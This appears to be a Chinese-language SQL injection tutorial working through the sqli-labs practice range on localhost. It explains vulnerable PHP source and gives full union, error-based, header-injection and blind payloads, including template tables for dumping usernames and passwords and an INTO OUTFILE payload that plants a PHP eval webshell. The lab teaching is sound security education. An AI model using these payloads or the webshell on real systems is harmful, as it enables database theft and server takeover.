SQL注入
联合注入
页面直接回显提取
一、基本原理:联合注入的核心是操作符UNION,它的作用是将两个或多个 SELECT 语句的结果集合并成一个结果集。需要注意的是这些SELECT语句查询出来的列必须列数一致,但是前一个语句报错不影响后一个语句执行。
二、sqli-labs靶场练习
1、Less-1
首先打开界面

提示我们要输入ID
http://127.0.0.1/sql/Less-1/?id=1
这里要解释一下为什么是
?id=1:在本题当中HTTP传参方式是GET,基于这种方式是直接在url后面加?然后再加id=1作用是以GET的方式传递id这个参数给服务端

回车换行后发现页面正常回显,尝试使用单引号'闭合

我们可以看到mysql出现了报错,为什么会出现这个报错?原因是因为我们多上传了一个单引号',导致sql语句闭合,下面我将详细解释一下报错中的"1"是什么意思,以及为什么会出现这个报错。
$id=$_GET['id'];
这是其后端源码的一部分,我们可以看到:当我们上传id=1'时,会在id后再加一对单引号,新id就变成了'1'',接下来再看另一部分的源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们可以看到系统在新id外又新加了一层单引号,所以这条语句就变成了
$sql="SELECT * FROM users WHERE id=''1''' LIMIT 0,1";
数字1的前面只有两个单引号,后面有三个单引号,这样匹配下来就多了一个单引号出现了报错。在sql语句执行时,会去掉数字1最外端的一对单引号,就变成了'1'',我们再会看报错信息:
near ''1'' LIMIT 0,1'
near自带一对单引号,去掉它们就变成了'1'' LIMIT 0,1,数字1的左右两边出现了数量不一的单引号。这里的确比较绕,简单来说:一个多余的引号破坏了整个 SQL 语句的引号平衡,导致解析失败。
这时如果我们在?id=1'后添加mysql的注释--+,就变成了
$sql="SELECT * FROM users WHERE id=''1''--+' LIMIT 0,1";
这样后面的' LIMIT 0,1"就不会引发报错,如果我们此时输入?id=1 order by 3 --+,那么此时SQL语句就会变成
$sql="SELECT * FROM users WHERE id=''1'' order by 3 --+' LIMIT 0,1";
这样就可以执行代码order by 3。
http://127.0.0.1/sql/Less-1/?id=1' --+

此时我们可以进行联合注入,先判断它有几列
http://127.0.0.1/sql/Less-1/?id=1' order by 3 --+

正常回显,继续尝试有无第四列

没有第四列,说明只有三列,然后继续判断回显位置
http://127.0.0.1/sql/Less-1/?id=1' union select 1,2,3 --+

为什么查询不到呢?不是因为union没有执行,而是Web应用通常只显示查询结果的第一行,所以浏览器直接返回了id=1的页面,如果要达到判断回显的目的,需要让第一个SELECT为假,也就是无法返回数据。更新后的exp如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 --+

由此可见,回显位置是union select 1,2,3的数字2和3的位置,接下来就可以爆库名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),3 --+

当前数据库为security,接下来我们可以利用mysql的一个特性:information_schema。这是一个非常特殊的数据库,里面存储了mysql所有数据库的系统信息,这个数据库可以帮助我们知道security数据库的所有表。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

这里需要解释一下为什么要使用group_concat:这个函数的作用是提取多行数据返回成一行表现出来。
表名我们已经知道了,接下来就该爆破users表里的列名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

其中username和password是我们的最终目标!临门一脚爆破出所有username和password。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

2、Less-2
打开题目,先尝试一下单引号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1'发现的确出现了回显:
我们可以注意到:报错信息中没有1'而是'只有一个单引号,没有数字1,说明这里没有成功闭合,猜测sql语句可能是
"SELECT * FROM users WHERE id=$id LIMIT 0,1";
所以才会出现只有一个单引号的报错,系统检测到1没问题,检测到'才输出报错,这是经典的数字型注入,poc如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1
回显正常,如果输入:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2
页面无回显,确定是数字型注入,后续步骤与第一关大同小异。
补充说明:?id=1 and 1=1 以及 ?id=1 and 1=2 是经典的验证数字型注入的方法
3、Less-3
照例打开题目,尝试单引号闭合:

报错信息再次出现差异,重点关注'1''),比起第一关多了一个),可能是sql语句对参数id添加了一对小括号,当我们输入1'时sql语句就成了SELECT * FROM users WHERE id=('1'') LIMIT 0,1,我们可以先进行小括号闭合,再单引号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1') --+

发现正常回显,成功验证!后续爆破数据库名等信息的步骤这里不再赘述。
4、Less-4
按照以往方法测试
http://127.0.0.1/sqli-labs/Less-4/?id=1'
发现没有报错
使用双引号测试一下:
http://127.0.0.1/sqli-labs/Less-4/?id=1"

发现报错信息是双引号和小括号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") --+

成功回显!其余步骤与之前完全一致,这里不再叙述了。
SQL 注入的本质在于:服务端没有对用户输入中的恶意代码进行过滤或转义,导致攻击者可以通过构造特殊输入来操纵数据库查询,进而造成信息泄露甚至系统失陷。在 sqli-labs 靶场中,我们常用
--+将后续的 SQL 语句注释掉,从而屏蔽掉原始查询中可能干扰执行的报错或多余条件,使我们的恶意代码顺利执行。因此,只要页面出现了预期的成功回显(例如正常显示数据库内容、绕过登录等),就证明服务端没有对输入做有效检查和过滤,也就意味着我们可以利用这个漏洞达成攻击目的。
联合查询写文件(INTO OUTFILE/DUMPFILE)
第七关比较特殊,它属于联合查询的一种,但是和前几关完全不同:它使用的是INTO OUTFILE写入文件。
一、核心原理:MySQL 允许通过 SELECT ... INTO OUTFILE '文件路径'将查询结果保存到服务器操作系统的文件中。
二、sqli-labs-Less-7
我们照例输入?id=1

我们试着输入:?id=1'发现页面出现报错

我们加一个注释符:--+发现还是报错

说明没有闭合,但是单引号又会报错,可能是缺少括号。经过两次尝试,闭合是两个括号
http://127.0.0.1/sqli-labs/Less-7/?id=1')) --+

成功回显,说明闭合成功,的确是1'))的闭合方式。既然知道了闭合方式,我们可以判断列数
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3 --+

列数为3,回显正常,接着测试一下是否为4列,poc如下
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 4 --+

回显报错,说明列数为3。这里我们可以注意到,它和其他联合注入不同的是,它没有回显,我们只能通过报错与否来判断。接下来要对情况进行分来,而分来标准就是MySQL中的一个系统变量:secure_file_priv,用来限制 MySQL 允许执行文件操作的目录。一旦设置,MySQL 会拒绝任何不在此目录(或此目录的子目录)下的文件读写请求。
<1>secure_file_priv=" "
这种情况下,我们可以直接上传一句话木马:<?php @eval($_REQUEST[shell])?>,完整payload如下:
?id=-1')) union select 1,2,'<?php @eval($_REQUEST[0])?>' into outfile 'D:\\phpstudy\\WWW\\sqli-labs\\Less-7\\shell.php' --+
然后通过中国蚁剑进行连接,可以做到控制后台的目的。
报错注入
基本信息:报错注入是sql注入的另一分类,当常规的联合查询union因为字段数不对或页面不显示查询结果而无法使用时,报错注入往往能发挥奇效。
| 函数 | 触发报错的方式 | 示例 Payload |
|---|---|---|
updatexml() |
XPath 格式错误 | and updatexml(1, concat('~', database()), 1) |
extractvalue() |
XPath 格式错误 | and extractvalue(1, concat('~', database())) |
floor() + rand() + group by |
主键重复(duplicate entry) | and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) x from information_schema.tables group by x) a) |
一、报错函数详解
1、extractvalue()
(1)基本用法
ExtractValue() 是 MySQL 中另一个处理 XML 的函数。它用于从 XML 片段中提取文本内容,其基本语法如下:
extractvalue(XML_document, XPath_string)
- XML_document:一个合法的 XML 字符串或字段
- XPath_string:XPath 表达式,用于从 XML 中提取值
(2)核心原理
当extractvalue()的第二个参数XPath_string不合法时,MySQL就会报错,同时输出报错信息。如果攻击者有意构造payload,把想要查询的数据拼接到这个错误的 XPath 参数中,数据会随着报错信息一起输出。
2、updatexml()
(1)基本用法
updatexml()是 MySQL 中用于修改 XML 文档内容的函数,其基本语法如下:
updatexml(xml_target, xpath_expr, new_xml)
- xml_target:要被修改的原始 XML 字符串(或其片段)。
- xpath_expr:XPath 表达式,用于定位 xml_target 中要替换的节点。
- new_xml:新的 XML 片段,用来替换匹配到的节点及其内容。
(2)核心原理
当updatexml()的第二个参数xpath_expr无效时,函数将直接报错并将表达式内容输出到报错信息中,和extractvalue非常相似。
3、count+floor()+rand()+group by主键重复
这种组合形成的报错核心原理是主键重复,本质是利用MySQL,接下来我会逐个详细介绍它们。
(1)三个函数介绍
<1>floor():其作用为向下取整
select floor(5.99);

select floor(6.01);

(2)count():计算总次数
select count(*) from users; #查询users表中有多少条数据

我们可以使用Navicat验证一下:

的确有三条数据
<3>group by:将数据按照一个或多个列的值进行分组,下面我将举例说明
这是一个uers表,我们可以注意到id=1和id=4的password是一样的,我们试验一下

select password from users group by password;

我们可以从查询结果中看到,group by对数据按照password进行分组,分为了三组,而id=1和id=4分到了同一组。
(4)rand():返回0-1的一个随机浮点数,可以在括号中填入参数,同一个参数产生的结果是相同的的,如果不填参数有则是随机的。

如果在rand()的括号内添加参数,那么每次返回值就会固定。

直接回显型 (Error-Returned)
一、定义
前端直接显示完整的 SQL 错误堆栈信息。攻击者提交一次请求,就能在页面看到爆出的数据。
二、sqli-labs
1、Less-5
打开关卡,照例尝试
http://127.0.0.1/sqli-labs/Less-5/?id=1'

确认是单引号注入,尝试注释报错

发现没有出现正常回显,这里我们可以学习一下它的源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
当我们传参?id=1'--+时,+会被解析成空格,这么做是由于在 URL 中+通常被解析为空格。因为-- 注释在 SQL 中通常要求后面至少有一个空格(或换行)才能正确生效,所以--+被解析为-- ,保证了注释语法正确。SELECT * FROM users WHERE id='1'' LIMIT 0,1,这样后续的报错就会被注释掉,然后由mysql_query传递给result,再由mysql_fetch_arry传递给row,下面的if判断中如何row不为空即输出You are in...........。
看来联合注入行不通,可以尝试报错注入,payload如下:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue('1',concat('~',(select database()))) --+

成功爆破数据库名,其余步骤和联合注入大同小异,这里继续爆破表名
?id=1' and extractvalue('1',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

紧接着爆破列名
?id=1' and extractvalue('1',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
这里要解释一下为什么要加一个
and table_name='users',这是为了避免其他数据库同名表的影响

最后爆破字段
?id=1' and extractvalue('1',concat('~',(select group_concat(username) from users))) --+

2、Less-6
来到第六关,如法炮制,发现?id=1'不能成功,回显是

我们可以试一下双引号"闭合
http://127.0.0.1/sqli-labs/Less-6/?id=1"

发现产生报错,其余步骤与第五关别无二致。这里我们可以审一下它的源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这是源码中关于SQL语句的部分,我们可以看到对于参数id,采取了双引号闭合的方式,并且在SQL语句中也使用了双引号,当我们输入id=1"时,SQL语句就会变成$sql="SELECT * FROM users WHERE id=1" LIMIT 0,1";造成双引号闭合报错,然后使用注释符--+注释报错,那就变成了$sql="SELECT * FROM users WHERE id=1" --+ LIMIT 0,1";,后面的LIMIT 0,1就会被注释掉,无法产生报错,我们输入的数据就会在id=1"之间 --+执行,例如:?id=1' and extractvalue('1',concat('~',(select database()))) --+,中间的and extractvalue('1',concat('~',(select database())))就会被服务端执行,从而爆出数据库名,也就是SQL注入的核心原理。
绕过型报错注入 (Filter Evasion Error-Based)
一、定义
核心报错函数被黑名单拦截或被转化,攻击者需使用冷门、变体或不依赖函数名的技巧。
二、sqli-labs
1、Less-17
(1)注入点分析
打开题目,发现传参方式是POST,尝试万能密码

发现被过滤了

(2)源码审计
这里我们审一下源码
<?php
// 1. 防御函数定义
function check_input($value) {
if(!empty($value)) {
$value = substr($value,0,15); // 截断长度限制为15
}
if(get_magic_quotes_gpc()) {
$value = stripslashes($value); // 去除魔术引号转义
}
if(!ctype_digit($value)) {
// 非数字则使用 mysql_real_escape_string 转义,并主动加上单引号包裹
$value = "'" . mysql_real_escape_string($value) . "'";
} else {
$value = intval($value); // 数字则强制转为整型
}
return $value;
}
// 2. 参数获取与验证
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd']; // 漏洞点:直接获取,无任何过滤!
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";//@过滤了报错但@无法屏蔽 MySQL 数据库返回的错误。下一行的 mysql_query($sql) 如果执行失败,错误信息会留在 MySQL 连接句柄中。
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
if($row) {
// 3. 密码更新与报错回显
$sql = "UPDATE users SET password = '$passwd' WHERE username='$uname'";
$result = mysql_query($sql) or die("Error: ".mysql_error()); // 漏洞点:打印错误信息
if($result) {
echo "<font color='#FFFF00'>Password Changed successfully!</font>";
}
} else {
echo "<font color='#FF0000'>Invalid username!</font>";
}
?>
将传参代码单独拿出来审计
// 对 uname 参数进行严格过滤
$uname = check_input($_POST['uname']);
// passwd 参数直接获取
$passwd = $_POST['passwd'];
// SQL 语句使用 UPDATE 更新密码
$sql = "UPDATE users SET password = '$passwd' WHERE username = '$uname'";
// 执行 SQL 语句并打印错误信息
$result = mysql_query($sql);
if (mysql_error()) {
echo "<font color='#FFFF00'>"; // 显示错误信息,这是最严重的错误点,打印报错信息会导致攻击者有机可乘
print_r(mysql_error());
echo "</font>";
}
我们可以看到对于参数uname开发者进行了check_input处理,我们再看一下是如何处理的。
function check_input($value) {
if (!empty($value)) {
// 1. 截断到15位
$value = substr($value, 0, 15);
}
// 2. 如果 magic_quotes 开启,去除多余反斜杠
if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}
// 3. 如果不是数字,使用 mysql_real_escape_string 转义
if (!ctype_digit($value)) {
$value = "'" . mysql_real_escape_string($value) . "'";
} else {
$value = intval($value);
}
return $value;
}
从函数check_input中可以看出开发者对uname进行了严格的过滤,先是对输入进行截取15位,然后又对历史遗留函数magic_quotes进行处理,最后也是最重要的就是对输入字符串进行判断处理
- 分支 A:如果是字符串(非纯数字)
!ctype_digit($value): ctype_digit() 会检查字符串中是否全部都是数字字符 (0-9)。前面加了 !,即“如果不是纯数字”。mysql_real_escape_string($value): 这是 MySQL 专属的转义函数。它比简单的 addslashes() 更安全,因为它会考虑当前数据库的字符集连接。它会转义以下字符:"'" . ... . "'": 转义完成后,函数主动在数据的左右两边拼接上单引号。
安全意义:这是极其关键的防御动作。假设用户输入 admin' #,经过转义变成 admin' #,再拼接引号变成 'admin' #'。当这个值放入 SQL 语句中时(例如 WHERE username = 'admin' #'),整个输入被严格限制在字符串字面量内,单引号无法逃逸闭合,注入彻底失败。
- 分支 B:如果是纯数字
- intval($value): 如果输入全是数字,则使用 intval() 强制将其转换为整型(整数)。
- 安全意义:数字型注入(如 1 union select...)是因为开发者没有给数字加引号导致的。这里直接用 intval() 提取整数值,任何非数字字符都会被抛弃或截断。例如输入 1 union select 1,intval 处理后只剩下 1。这从根本上杜绝了数字型注入。而且数字在 SQL 语句中不需要加引号包裹。
在这样严密的防护条件下,无法从uname下手攻击了,考虑另一个参数passwd。虽然开发者对uname进行了极其严格的过滤,但是对于passwd没有任何防护,直接使用UPDATE进行密码修改,而且还使用了mysql_error(),可以使用报错注入的方式进行破解。
(3)解题
首先需要判断是什么类型的注入,输入正确用户名:admin,尝试在密码栏输入:1',如果报错说明是单引号闭合,如果不报错说明不是单引号报错。

说明确实是单引号闭合,后续步骤和之前大同小异,这里不再赘述了。
2、Less-18
这一关和上一关有明显不同,它对两个参数都进行了严格的过滤。为了方便学习,可以在
(1)源码审计
$uagent = $_SERVER['HTTP_USER_AGENT']; // 直接取 UA,无任何过滤
$IP = $_SERVER['REMOTE_ADDR'];
$uname = check_input($_POST['uname']); // 账号被过滤
$passwd = check_input($_POST['passwd']); // 密码被过滤
$sql="SELECT users.username, users.password FROM users
WHERE users.username=$uname and users.password=$passwd ...";
$row1 = mysql_fetch_array($result1);
if($row1) { // 仅在登录成功后才执行 INSERT
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`)
VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error()); // 关键:会回显 MySQL 报错
}
这里我们可以看到开发者虽然对账号密码都进行了过滤,但是对于user-agent采取直接提取,没有任何过滤,我们考虑使用user-agent注入。
这里需要说明一下什么是
user-agent,官方定义是:User-Agent(用户代理,简称 UA)是 HTTP 请求头中的一个字段,由浏览器或客户端在每次发起请求时主动携带,用于向服务器声明自己的软件类型、操作系统、浏览器版本、渲染引擎等身份信息。服务器据此识别访问终端,从而返回适配的内容或做统计分析。简单来说,就是一种数字身份证,告诉服务器自己的信息,方便服务器进行处理。更通俗一点:把 User-Agent 想成浏览器随身携带的"自我介绍名片":我是谁(浏览器)、我住哪(操作系统)、我能干什么(渲染引擎),服务器据此决定怎么接待你。
这里举一个例子:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36: Mozilla/5.0 —— 历史兼容标记(“我是现代浏览器”)、(Windows NT 10.0; Win64; x64) —— 系统信息(“我用的是 Windows 64位电脑”、AppleWebKit/537.36 (KHTML, like Gecko) —— 渲染引擎与历史兼容(“我的内核血统”)、Chrome/124.0.0.0 —— 真实的浏览器身份(“我是 Chrome 124版”)、Safari/537.36 —— 最后的兼容标记(“顺便,我也兼容 Safari”)。
VALUES ('$uagent', '$IP', $uname)
从这行代码中我们可以看到$uagent是被单引号闭合的,客户端输入的UA数据闭合后会被直接运行。
(2)解题
这里需要做一个小提醒,在Less-17中我们修改了密码,所以建议大家在解Less-18时需要回到
http://127.0.0.1/sqli-labs/并点击Setup/reset Database for labs,重置数据库。
首先使用BurpSuite抓包
对user-agent进行修改,我们已知是单引号闭合,在登录框输入正确账号密码(前面关卡可获得,常见 admin / admin),如果按照之前的报错注入的payload:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+会发生什么呢?

我们可以看到单引号闭合出现错误,无法完成闭合。

这是因为这行代码VALUES ('$uagent', '$IP', $uname)",我们修改的UA会放到'$uagent',会变成
INSERT INTO uagents (uagent, ip_address, username) VALUES ('1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+', '$IP', $uname)
这样做会有两个致命错误:
- 括号没有闭合:VALUES( 有一个左括号,但后面缺少了对应的右括号 )。
- 参数数量不足:INSERT 指定了 3 个列 (uagent, ip_address, username),但 VALUES 里面因为被注释,只剩下一个半拉表达式,根本无法凑齐 3 个参数对应的值。
所以为了单引号闭合且不会注释掉后续参数我们这样修改payload:
a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#这样sql语句就会变成:
INSERT INTO uagents (uagent, ip_address, username) VALUES ('a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#', '$IP', $uname)
不仅解决了参数不够的问题,还形成了单引号闭合,恶意代码成功执行。
后续步骤没有太大区别,不再过多赘述了。
| 目标 | User-Agent 头 Payload |
|---|---|
| 爆版本 | a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='# |
| 爆库 | a' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) and '1'='# |
| 爆表 | a' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) and '1'='# |
| 爆列 | a' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1) and '1'='# |
| 爆数据 | a' or updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1) and '1'='# |
3、Less-19
(1)前置知识
这一步要用到Referer,它的作用是告诉服务器,当前这个请求是从哪个页面链接过来的。比如你从百度点进一个链接,Referer 可能就是https://www.baidu.com/...。这里可以拿它和上一关中的user-agent进行对比。
| 对比维度 | Referer | User-Agent |
|---|---|---|
| 核心问题 | 我从哪里来? (Where from?) | 我是谁? (Who am I?) |
| 携带内容 | 上一个页面的 URL 地址 | 客户端软件、系统、浏览器指纹信息 |
| 数据类型 | 统一资源定位符 (URL) | 描述性的自由格式字符串 |
| 主要用户 | 网站管理人员(分析流量)、后端安全程序 | 前端开发者(做兼容)、后端安全程序 |
| 隐私敏感度 | 高,可能会泄露用户浏览历史路径 | 相对低,但能组合形成浏览器指纹,追踪用户 |
| 是否可空 | 可以。直接输入网址、收藏夹打开、HTTPS 跳转到 HTTP 时,Referer 为空 | 几乎一定有,但同样可被篡改或置空 |
| 控制策略 | 受 Referrer-Policy 安全策略控制(如只发域名,不发完整路径) | 无严格策略,客户端可任意修改 |
(2)源码审计
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
对参数uname和passwd依旧是防护转义
$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd ...";$row1 = mysql_fetch_array($result1);
if($row1) { // 关键:只有在登录成功后才会执行 INSERT
// 源码变量名可能叫 $uagent,但实际取的是 HTTP_REFERER
$uagent =$_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
print_r(mysql_error()); // 关键:会回显 MySQL 报错
}
对于referer没有任何过滤直接提取,且存在mysql_error()函数输出报错,采用报错注入,其闭合方式和第18关基本一致。
(3)解题步骤
使用BurpSuite进行抓包并对referer字段进行修改:

其余步骤和上一关没有太大差别。
盲注
核心原理:顾名思义,就是看不到页面的任何具体回显数据,页面只有成功访问例如:You are in .....或者空白,没有任何回显。此时只能通过向数据库“提问”的方式,根据返回状态的真假(布尔盲注)或者页面回显的延迟(时间盲注)来判断。
布尔盲注
一、原理:顾名思义,就是利用是否来判断。简单来说,就是将敏感数据转化为是否的问题,通过页面返回的真假,逐步猜出数据。
二、sqli-labs
1、Less-8
打开题目,照例尝试一下单引号闭合?id=1'

发现没有回显,说明出现错误,再利用--+注释错误:

出现You are in.......说明题目确实是单引号闭合,接下来利用Burp Suite爆破数据库名,首先进行抓包并发送到攻击器模块,右击选择发送到攻击器。

然后配置payload:?id=1' and ascii(substr(database(),1,1))=1 --+。
这里需要解释一下:ascii()和substr(),这是MySQL内置的两个函数。
ascii():将字符转为 ASCII 码
substr() :截取字符串
ascii(substr(database(),1,1))的执行顺序是先通过database()提取数据库:security,然后再利用substr(database(),1,1)从第一个位置开始截取一个字符串,得到s,最后由ascii()转化成ascii值。简单来说,就是一个字符一个字符逐一拆解数据库名称,使用Burp Suite会方便许多。
移送到攻击器模块后,我们可以添加两个攻击位置,攻击方式选择集群炸弹,也就是同时对两个位置进行测试。
这是第一个攻击位置的配置:
- 类型:顺序
- 从:1
- 到:8
- 步骤:1

说明:这里填 1-8 是因为已知当前数据库名 security 长度为 8。实际使用时长度未知,可以先写大一点(如 1-30),最后根据哪几个位置没有命中对勾来截断;或先用单独一轮 length(database())=N 探测长度。
第二个攻击位置的配置:
- 类型:顺序
- 从:32(空格,可见字符起点)
- 到:126(~,可见字符终点)
- 步骤:1

接下来需要配置一个设置中的匹配规则,当匹配到You are in...........时标记(此Burp Suite中是标记为1)

总结一下Burp Suite配置的流程。

最后的结果大致如下:

后续只要按顺序将ascii值转化成字符就可以推测出数据库名为security。
| 阶段 | 核心子查询 | 完整 payload 模板 |
|---|---|---|
| 表数量 | count(table_name) | ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=N --+ |
| 表名长度 | length((... limit m,1)) | ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=N --+ |
| 表名字符 | ascii(substr(...,i,1)) | ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=N --+ |
| 列名 | information_schema.columns | ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=N --+ |
| 数据 | select 列 from 库.表 | ?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=N --+ |
| 2、Less-15 | ||
这一关和之前略有不同,其传参方式不是GET,而是更加常见的POST,更加贴近于实战。 |
||
(1)确认注入类型:打开题目,界面变成了登录框的形式,尝试万能密码:1' or 1=1 #,发现的确是单引号闭合 |
||
![]() |
||
| 没有回显,考虑时间盲注或布尔盲注。 | ||
| (2)进一步判断盲注类型 | ||
判断是否为布尔盲注,可以使用永真条件和永假条件: |
- 永真条件: uname=1' or 1=1 #&passwd=1 (1=1 为真,页面应提示登录成功)
- 永假条件: uname=1' or 1=2 #&passwd=1 (1=2 为假,页面应提示登录失败)
首先在Username输入框输入1' or 1=1 #,Password框随便输入即可


发现登录成功,再尝试一下永假的情况:

登录失败,说明是布尔盲注。
(3)Burp Suite爆破
接下来就是利用Burp Suite逐一爆破数据库等敏感信息,payload如下:
1' or ascii(substr(database(),1,1))=1 #


3、Less-16
这一关和上一关内容大同小异,只是因为闭合方式不同,这一关是双引号闭合。

时间盲注
一、原理:时间盲注指的是在页面无回显的情况下,通过页面回显的延迟来判断。
二、函数
1、sleep()
sleep(seconds)
- 作用:让数据库查询暂停
seconds秒,返回0 - 如果参数为
NULL,即second为NULL,则返回NULL,不会延时。
2、benchmark()
如果sleep()函数被禁用,我们可以采用其他函数:benchmark()
(1)函数原型
benchmark()是MySQL的内置函数,官方用途是测量表达式执行速度,而非用来延时。
(2)函数表达式
BENCHMARK(count, expr)
- count:执行的次数。为了能够明显测出时间差,通常需要设置一个很大的数字(比如 1000万次)。
- expr:要测试的表达式。必须是一个标量表达式(返回单个值),比如 MD5('test') 或 1+1。
- 测量范围:它只测量表达式在服务器端的运行时间。它不包含 SQL 解析、查询优化、网络传输或锁等待的时间。因此,它非常适合用来对比两个不同函数(如 MD5 vs SHA1)在 CPU 层面的纯计算性能
(3)示例
-- 测试 MD5 执行 1000 万次的时间
SELECT BENCHMARK(10000000, MD5('test'));

三、sqli-labs
1、Less-9
这一关和第八关不同,无论我们输入什么。都只会回显You are in...........且没有任何布尔逻辑,所以考虑时间盲注。
首先尝试一下单引号闭合:http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+,发现页面回显速度有明显的延迟,说明确定是单引号闭合。这样一步步过于繁琐了,我们使用Burp Suite。操作步骤和布尔盲注大同小异,这里只说一下不同的地方。
(1) Options 选项卡:
重点设置 Grep - Match(结果匹配),用来让我们一眼看出哪个请求延迟了。
- 在 Grep - Match 区域,点击 Add。
- 由于我们无法匹配页面内容,只能看时间,所以这里其实不需要匹配特定字符串。我们直接观察请求时间即可。(Burp 会自动在结果列表中显示每个请求的响应时间)。
(2)结果需要通过接收到响应时间来判断

当脚本走到115时,响应时间明显大幅度增大,说明ascii长度是115,也就是s。
后续步骤这里不再过多赘述
| 阶段 | 核心逻辑 | 完整 Payload 模板 (直接复制修改 N, i, m 即可) |
|---|---|---|
| 验证注入点 | sleep(N) |
?id=1' and sleep(3) --+ |
| 库名长度 | length(database())=N |
?id=1' and if(length(database())=N,sleep(3),0) --+ |
| 库名字符 | ascii(substr(database(),i,1))=N |
?id=1' and if(ascii(substr(database(),i,1))=N,sleep(3),0) --+ |
| 表数量 | count(table_name)=N |
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=N,sleep(3),0) --+ |
| 表名长度 | length((... limit m,1))=N |
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit m,1))=N,sleep(3),0) --+ |
| 表名字符 | ascii(substr(...,i,1))=N |
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit m,1),i,1))=N,sleep(3),0) --+ |
| 列数量 | count(column_name)=N |
?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=N,sleep(3),0) --+ |
| 列名长度 | length((... limit m,1))=N |
?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit m,1))=N,sleep(3),0) --+ |
| 列名字符 | ascii(substr(...,i,1))=N |
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit m,1),i,1))=N,sleep(3),0) --+ |
| 数据数量 | count(列名)=N |
?id=1' and if((select count(username) from security.users)=N,sleep(3),0) --+ |
| 数据长度 | length((... limit m,1))=N |
?id=1' and if(length((select username from security.users limit m,1))=N,sleep(3),0) --+ |
| 数据字符 | ascii(substr(...,i,1))=N |
?id=1' and if(ascii(substr((select username from security.users limit m,1),i,1))=N,sleep(3),0) --+ |
| 替代延迟方案 | benchmark(N, expr) |
?id=1' and if(条件,benchmark(30000000,md5('test')),0) --+ |
变量说明:
N:要猜解的数字(如长度为 8,ASCII 码为 115)。i:截取的第几个字符(从 1 开始)。m:查询的第几条记录(从 0 开始,如limit 0,1取第一条)。sleep(3):延迟 3 秒,可根据网络环境调整为 2、5 等。benchmark(...):当sleep()被过滤时的替代方案,利用 CPU 密集计算制造延迟。
2、Less-10
这一关和第九关基本相同,唯一一点就是闭合方式不同。
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5) --+
这一关是双引号闭合,其余步骤和第九关完全一致,这里不再赘述了。


浙公网安备 33010602011771号